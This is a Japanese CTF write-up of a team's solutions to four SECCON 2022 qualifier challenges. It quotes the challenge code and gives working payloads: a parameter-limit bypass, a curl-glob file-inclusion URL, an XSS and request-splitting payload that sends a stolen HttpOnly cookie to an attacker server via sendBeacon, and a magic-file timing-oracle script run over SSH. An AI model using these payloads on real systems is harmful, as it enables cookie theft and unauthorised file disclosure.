Satoooonの物置

雑多に色々と何かをしている

SECCON CTF 2022 Quals Writeup

SECCON CTFの予選に @Iwancof_ptrさん @miso_2324さん @_k4non さんとチームDouble Lariatで出場して全体33位/726チーム、国内7位/356チームでした。国内10位に入ったので国内決勝に出場です!解けた問題について解説していきます。

Result

他のメンバーのWriteup

iwancof.github.io

miso-24.hatenablog.com

Web

skipnix [100pt, 102 solves]

nginxが間に挟まったWebサーバーが動いています。

# nginx.conf
server {
  listen 8080 default_server;
  server_name nginx;

  location / {
    set $args "${args}&proxy=nginx";
    proxy_pass http://web:3000;
  }
}

nginxによりバックエンドに渡されるときにURLのクエリに&proxy=nginxという文字列が追加されるようです。バックエンドのコードを見てみましょう。

const app = require("express")();

const FLAG = process.env.FLAG ?? "SECCON{dummy}";
const PORT = 3000;

app.get("/", (req, res) => {
  req.query.proxy.includes("nginx")
    ? res.status(400).send("Access here directly, not via nginx :(")
    : res.send(`Congratz! You got a flag: ${FLAG}`);
});

app.listen({ port: PORT, host: "0.0.0.0" }, () => {
  console.log(`Server listening at ${PORT}`);
});

req.query.proxy.includes("nginx")がFalsyであればフラグが表示されるようです。nginxによる&proxy=nginxによって通常はこの条件はTrueになるので、なんとかしてFalseにさせる必要があります。

Expressのreq.queryはパーサーにqsというライブラリを利用していて、このパーサーはクエリにオブジェクトを与えることができます。まずこれを利用して変な値を入れ、includesを回避できないか調べました。

例えば、/?proxy[a]=bにアクセスすれば(nginxにより&proxy=nginxが追加されて)このようにreq.proxyが辞書になります。

{ proxy: { a: 'b', nginx: true } }

しかし、当然ながら.includesが生えていないためエラーで終わります。他にもメゾッドを書き替えてみたりしても変な挙動が起きる気配がありません。

モンキーテストじゃ限界があるのでqsのソースコードを見に行きます。しかし、怪しい箇所を見つけることはできませんでした。(カス)

じゃあ既知のバグを使うのかなと思ったのでGitHubのIssueを見ると、このIssueが目に止まりました。

github.com

a=b&a=c&a=...という形のクエリではarrayLimitが無視されるというバグです。これで変な挙動起きないかな~という気持ちでとりあえず以下のようなリクエストを送りました。

>>> requests.get("http://skipinx.seccon.games:8080/?" + "proxy=1&" * 1000).text
'Congratz! You got a flag: SECCON{sometimes_deFault_options_are_useful_to_bypa55}'

よくわからないけどフラグを得ることができました。実際はこのIssueは関係なくて、parameterLimitというオプションにより、クエリの解析上限がデフォルトで1000個に設定されていたのが原因だったようです。READMEにも載ってるのに目を滑らせてしまった……

For similar reasons, by default qs will only parse up to 1000 parameters. This can be overridden by passing a parameterLimit option:

js var limited = qs.parse('a=b&c=d', { parameterLimit: 1 }); assert.deepEqual(limited, { a: 'b' });

SECCON{sometimes_deFault_options_are_useful_to_bypa55}

easylfi [124pt, 62 solved]

from flask import Flask, request, Response
import subprocess
import os

app = Flask(__name__)


def validate(key: str) -> bool:
    # E.g. key == "{name}" -> True
    #      key == "name"   -> False
    if len(key) == 0:
        return False
    is_valid = True
    for i, c in enumerate(key):
        if i == 0:
            is_valid &= c == "{"
        elif i == len(key) - 1:
            is_valid &= c == "}"
        else:
            is_valid &= c != "{" and c != "}"
    return is_valid


def template(text: str, params: dict[str, str]) -> str:
    # A very simple template engine
    for key, value in params.items():
        if not validate(key):
            return f"Invalid key: {key}"
        text = text.replace(key, value)
    return text


@app.after_request
def waf(response: Response):
    if b"SECCON" in b"".join(response.response):
        return Response("Try harder")
    return response


@app.route("/")
@app.route("/<path:filename>")
def index(filename: str = "index.html"):
    if ".." in filename or "%" in filename:
        return "Do not try path traversal :("

    try:
        proc = subprocess.run(
            ["curl", f"file://{os.getcwd()}/public/{filename}"],
            capture_output=True,
            timeout=1,
        )
    except subprocess.TimeoutExpired:
        return "Timeout"

    if proc.returncode != 0:
        return "Something wrong..."
    return template(proc.stdout.decode(), request.args)

問題名からわかる通りいかにもfilenamecurlfile://パスにそのまま結合されているので、LFIができそうな形です。しかし、..%がチェックされてるので普通にLFIはできなさそうですね。

最初はエンコードUnicode正規化などでチェックをバイパスできないか試しましたが無理そうでした。curl特有で何かあるかと考えたところ、前に調べたwildcardの存在を思い出します。curlにはshell-likeなワイルドカードがあり、{}[]を使ってURLに同時にアクセスしたりすることができます。

curl.se

これを使い..{.}{.}にすればチェックのバイパスができます。これでLFIができるようになりました。

しかし、WAFによりレスポンスにSECCONが含まれているとファイルの中身を見ることができません。LFIで取得した文字列がtemplate関数で処理されるのを利用してSECCONを消しましょう。

template関数はkeyの文字列をvalueに置換するだけのシンプルなものです。keyはvalidate関数により文字列が{key}という形であるかどうかチェックされます。

SECCONを消すために{SECCON}という形を作りたいですが、フラグフォーマット上不可能なように思えます。しかし、よく見るとvalidate関数にバグがあります。

関数はkeyを1文字ずつ見てi=0なら{、i=n-1なら}かどうかをチェックしています。しかし、keyが1文字しかない場合を考えてみると、i=0とi=n-1が被ってしまい、結果的にi=0のチェックしか走りません。つまり、{はvalidなkeyとして認識されます。

{=}{という置換を考えると、SECCON{...}SECCON}{...}となります。あとはSECCONの前に{を作ることができたら勝ちです。

これはcurlのwildcardを使えば十分です。{を含むファイルを探して、{/path/to/file, flag.txt}という形にすればcurlが両方のファイルを展開してくれます。普通に配布されてるファイルを使えばいいのですが、何故か「括弧といえばC言語だろ!」と考えて謎に/usr/share/libtool/lt__alloc.cを使いました。

http://easylfi.seccon.games:3000/{.}{.}/{.}{.}/{usr/share/libtool/lt__alloc.c,flag.txt}にアクセスすると、レスポンスは次のようになります。

...
char *
lt__strdup (const char *string)
{
  return (char *) lt__memdup (string, strlen (string) +1);
}
--_curl_--file:///app/public/../../flag.txt
SECCON{dummy}

まず関数部分を置換して{を作り、{=}{SECCON}を作り、SECCONを含む部分を置換すればWAFをbypassでき、フラグを獲得できます。最終的なURLはこのようになります。

http://easylfi.seccon.games:3000/%7B.%7D%7B.%7D/%7B.%7D%7B.%7D/%7Busr/share/libtool/lt__alloc.c,flag.txt%7D?{%0A%20%20return%20(char%20*)%20lt__memdup%20(string,%20strlen%20(string)%20%2B1);%0A}={&{=}{&{%0A--_curl_--file:///app/public/../../flag.txt%0ASECCON}=HOGE

SECCON{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser}

bffcalc [149pt, 41 solves]

backend, bff, bot, nginx, reportの五つのサーバーが動いています。nginxはreportとbffへのプロキシ、reportは同一IPに対するリクエスト制限用なので重要なのはbot, bff, backendです。

bot: Cookieにフラグを含んだクローラーが動いていて、参加者が指定したURLにアクセスさせることができます。このCookieにはHttponlyがついているのでXSSで直接抜くことはできません。

bff: nginxとbackendを繋ぐプロキシです。次のプログラムが動いています。

import cherrypy
import time
import socket


def proxy(req) -> str:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("backend", 3000))
    sock.settimeout(1)

    payload = ""
    method = req.method
    path = req.path_info
    if req.query_string:
        path += "?" + req.query_string
    payload += f"{method} {path} HTTP/1.1\r\n"
    for k, v in req.headers.items():
        payload += f"{k}: {v}\r\n"
    payload += "\r\n"

    sock.send(payload.encode())
    time.sleep(.3)
    try:
        data = sock.recv(4096)
        body = data.split(b"\r\n\r\n", 1)[1].decode()
    except (IndexError, TimeoutError) as e:
        body = str(e)
    return body


class Root(object):
    indexHtml = open("index.html").read()

    @cherrypy.expose
    def index(self):
        return self.indexHtml

    @cherrypy.expose
    def default(self, *args, **kwargs):
        return proxy(cherrypy.request)


cherrypy.config.update({"engine.autoreload.on": False})
cherrypy.server.unsubscribe()
cherrypy.engine.start()
app = cherrypy.tree.mount(Root())

backendへ生のHTTPリクエストを組み立てて通信しています。また、index.htmlもここで返しています。

backend: 次のようなプログラムが動いています。

import cherrypy


class Root(object):
    ALLOWED_CHARS = "0123456789+-*/ "

    @cherrypy.expose
    def default(self, *args, **kwargs):
        expr = str(kwargs.get("expr", 42))
        if len(expr) < 50 and all(c in self.ALLOWED_CHARS for c in expr):
            return str(eval(expr))
        return expr


cherrypy.config.update({"engine.autoreload.on": False})
cherrypy.server.unsubscribe()
cherrypy.engine.start()
app = cherrypy.tree.mount(Root())

exprというパラメータを受け取り、計算して返すサーバーです。evalがありますが文字種はALLOWED_CHARSしか許可されておらず、悪いことはできません。計算できない場合は文字列をそのまま返すようです。

脆弱性は二つあります。

  1. index.html内のDOM XSS

/?expr=<img src onerror=alert(1)>のような形で普通にXSSできます。前述した通りFlag CookieはHttponlyなのでこれだけでフラグは得られません。

  1. HTTP Response Splitting

bffのreq.path_infoはURLデコードが行われるようなので、/HOGE%0D%0AFUGAのようなリクエストを送るとbffからbackendに送るHTTP RequestにInjectionが発生します。

bff_1 | PAYLOAD START bff_1 | GET /HOGE bff_1 | FUGA HTTP/1.1 bff_1 | Remote-Addr: 172.31.0.6 bff_1 | Remote-Host: 172.31.0.6

つまり、「XSSとHTTP Response Splittingがあるので、HttponlyなCookieを盗んでください」という問題です。

backendはexprというパラメータをそのまま返すサーバーとして扱えるので、それでCookieをレスポンスに含めさせれば良さそうです。GETパラメータのままでは無理があるのでレスポンスを分割して、POSTリクエストに変更させましょう。そしてContent-Type:application/x-www-form-urlencodedをつければ、body中にexpr=...Cookie: SECCON{dummy}...;の状態を作ればフラグが表示できそうです。(お気持ちでつけたけどContent-Typeは実はいらないっぽい?)

しかし、途中に;を含むヘッダーがあるとうまくいきません。botが通常送信するHTTPリクエストを見てみましょう。

bff_1      | GET /api?expr=hoge HTTP/1.1
bff_1      | Remote-Addr: 172.31.0.6
bff_1      | Remote-Host: 172.31.0.6
bff_1      | Connection: upgrade
bff_1      | Host: nginx
bff_1      | X-Real-Ip: 172.31.0.5
bff_1      | X-Forwarded-For: 172.31.0.5
bff_1      | X-Forwarded-Proto: http
bff_1      | User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
bff_1      | Accept: */*
bff_1      | Referer: http://nginx:3000/
bff_1      | Accept-Encoding: gzip, deflate
bff_1      | Accept-Language: en-US,en;q=0.9
bff_1      | Cookie: flag=SECCON{dummydummy}

User-AgentX11;Accept-Languageen;があるのでパスからexpr=をつけたところで途中の;で区切られてexprがCookieには到達できません。これをなんとかする必要があります。

User-AgentForbidden header nameで、JavaScript側で変更することができないヘッダーなので、これを変えるのは非現実的です。その下のヘッダーで変更できるものはないか?と考えると、Refererが変更できることに気が付きます。

RefererはForbidden header nameですが、実は同一オリジンの範囲ならfetchから変更できます。(競技中は以下を見て把握したけど正確な仕様は追えてないです)

ja.javascript.info

つまり、Refererの末尾に;expr=をつけることでexprをそこから始めさせることができます。Accept-Languageもありますが、これはForbidden header nameではないのでJavaScriptから操作することができます。じゃあRefererじゃなくて最初からAccept-Language;expr=つければいいのでは?その通りです……(競技中は深夜の集中力で気付きませんでした)

競技中に書いたペイロードは次のようになります。これをreportすればフラグがサーバーに降ってきます。(多少整形してあります)

<img src onerror='fetch(
"/%20HTTP%2F1.1%0D%0AConnection%3A%20continue%0D%0AHost%3A%20example.com%0D%0A%0D%0APOST%20%2F%20HTTP%2F1.1%0D%0AHost%3A%20example.com%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%20465%0D%0A%0D%0Ahoge=%3D%0A",
{
    referrer: location.origin+"?;expr=",
    headers: {"Accept-Language": ""}}
)
.then(res=>res.text())
.then(data=>navigator.sendBeacon("http://MYSERVER:9090/",data))'>

backendへのHTTP Requestは以下のようになります。(hoge==って何?どこでつけたか覚えてません……)

bff_1      | GET / HTTP/1.1
bff_1      | Connection: continue
bff_1      | Host: example.com
bff_1      |
bff_1      | POST / HTTP/1.1
bff_1      | Host: example.com
bff_1      | Content-Type:application/x-www-form-urlencoded
bff_1      | Content-Length: 465
bff_1      |
bff_1      | hoge==
bff_1      |  HTTP/1.1
bff_1      | Remote-Addr: 172.31.0.6
bff_1      | Remote-Host: 172.31.0.6
bff_1      | Connection: upgrade
bff_1      | Host: nginx
bff_1      | X-Real-Ip: 172.31.0.5
bff_1      | X-Forwarded-For: 172.31.0.5
bff_1      | X-Forwarded-Proto: http
bff_1      | Accept-Language:
bff_1      | User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
bff_1      | Accept: */*
bff_1      | Referer: http://nginx:3000/?;expr=
bff_1      | Accept-Encoding: gzip, deflate
bff_1      | Cookie: flag=SECCON{dummydummy}

SECCON{i5_1t_p0ssible_tO_s7eal_http_only_cooki3_fr0m_XSS}

Misc

txtchecker [193pt, 23 solves]

以下のプログラムがSSH先で動いています。

#!/bin/bash

read -p "Input a file path: " filepath
file $filepath 2>/dev/null | grep -q "ASCII text" 2>/dev/null

# TODO: print the result the above command.
#   $? == 0 -> It's a text file.
#   $? != 0 -> It's not a text file.
exit 0

入力したパスに対してfileコマンドを実行し、ASCII Textであるかどうか判定してくれるプログラム…のようですが出力部分が実装されてません。

こんなんでどうしろと...?と初見で思いましたが、色々試していると$filepathにオプションを入れられることに気付きます。file "$filepath"ではなくfile $filepathなので、空白区切りで引数をいくらでも入れられるみたいです。このあたりの仕様全然わかってない……。

fileのオプションを調べていくと、Magic number fileというのを指定できることがわかります。

  -m, --magic-file LIST      use LIST as a colon-separated list of magic
                               number files

検索すると、man magicでフォーマットの詳細を見ることができるみたいです。調べていくと、このような形でパターンマッチングができることがわかります。

# 開始位置 タイプ 引数 ファイルタイプの文字列
0 string SECCON{ hoge

使えるタイプを調べていくと、regexが使えることがわかりました。ReDoSできるじゃん!と思ったけど、集中力がなく一般的な文字列に対して効果的にReDoSをする方法がわかりませんでした……

helpを見ているときもう一つ気になったのが、-Pオプションです。

  -P, --parameter            set file engine parameter limits
                               indir        15 recursion limit for indirection
                               name         30 use limit for name/use magic
                               elf_notes   256 max ELF notes processed
                               elf_phnum   128 max ELF prog sections processed
                               elf_shnum 32768 max ELF sections processed

recursion limitとあるので、-P indir=10000のように再帰上限を引き上げてindirect再帰させれば処理を遅延させられそう……と思いましたがindirectは情報が少なく挙動を把握できませんでした。代わりにname/use再帰についてもfileのソースコードにあるサンプルを見ながら試したところ、こちらは成功しました。以下のようなマジックナンバーファイルをfileコマンドに渡すと、regexがマッチしないときは即座に終了、マッチしたときは再帰に入り遅延が発生します。.*?...については処理を重くさせるためにつけてます。

0 name re
>0 regex .*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?NONE hoge
>0 regex .*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?NONE hoge
>0 use re


0 regex SECCON\\{A Matched
>0 use re

このMagic number fileを使ってフラグを一文字ずつleakすることができます。当然サーバーにこのファイルはないのでこのファイルを-mで指定するのは不可能なように思えますが、/dev/stdinを使えば標準入力からファイルを読み込むので、ファイルをコピペした後にEOFを送ればうまく動作します。

exploitは以下のようになります。pwntoolsでSSH越しに通信しようとしても方法がわからずうまくいかなかったので、半自動化する方向でやりました。

CakeCTF 2021 - rflagを参考に2分探索のように探索回数を削減しています。

from string import ascii_letters,digits
import os

characters = ascii_letters + digits + "_"
print(characters)


flag = "reDo5L1fe\\\\}"
while 1:
    charset = characters
    while len(charset) != 1:
        charset1 = charset[:len(charset)//2]
        charset2 = charset[len(charset)//2:]
        print(charset1, charset2)
        magic=f"""-P name=10000 -m /dev/stdin /flag.txt
0 name re
>0 regex .*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?NONE hoge
>0 regex .*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?.*?NONE hoge
>0 use re


0 regex SECCON\\\\{{{flag} OK
>0 use re
"""
        with open("/tmp/magic", "w") as f:
            f.write(magic)
        os.system("cat /tmp/magic | clip")
        os.system("sshpass -p ctf ssh -oStrictHostKeyChecking=no -oCheckHostIP=no ctf@txtchecker.seccon.games -p 2022")
        check = input("late?: ")
        if check == "y":
            charset = charset1
        else:
            charset = charset2
    flag += charset[0]

SECCON{reDo5L1fe}

感想

チームメンバーが強くて決勝に進むことができました。チームに感謝……!

初めてのオンサイトCTFで楽しみです。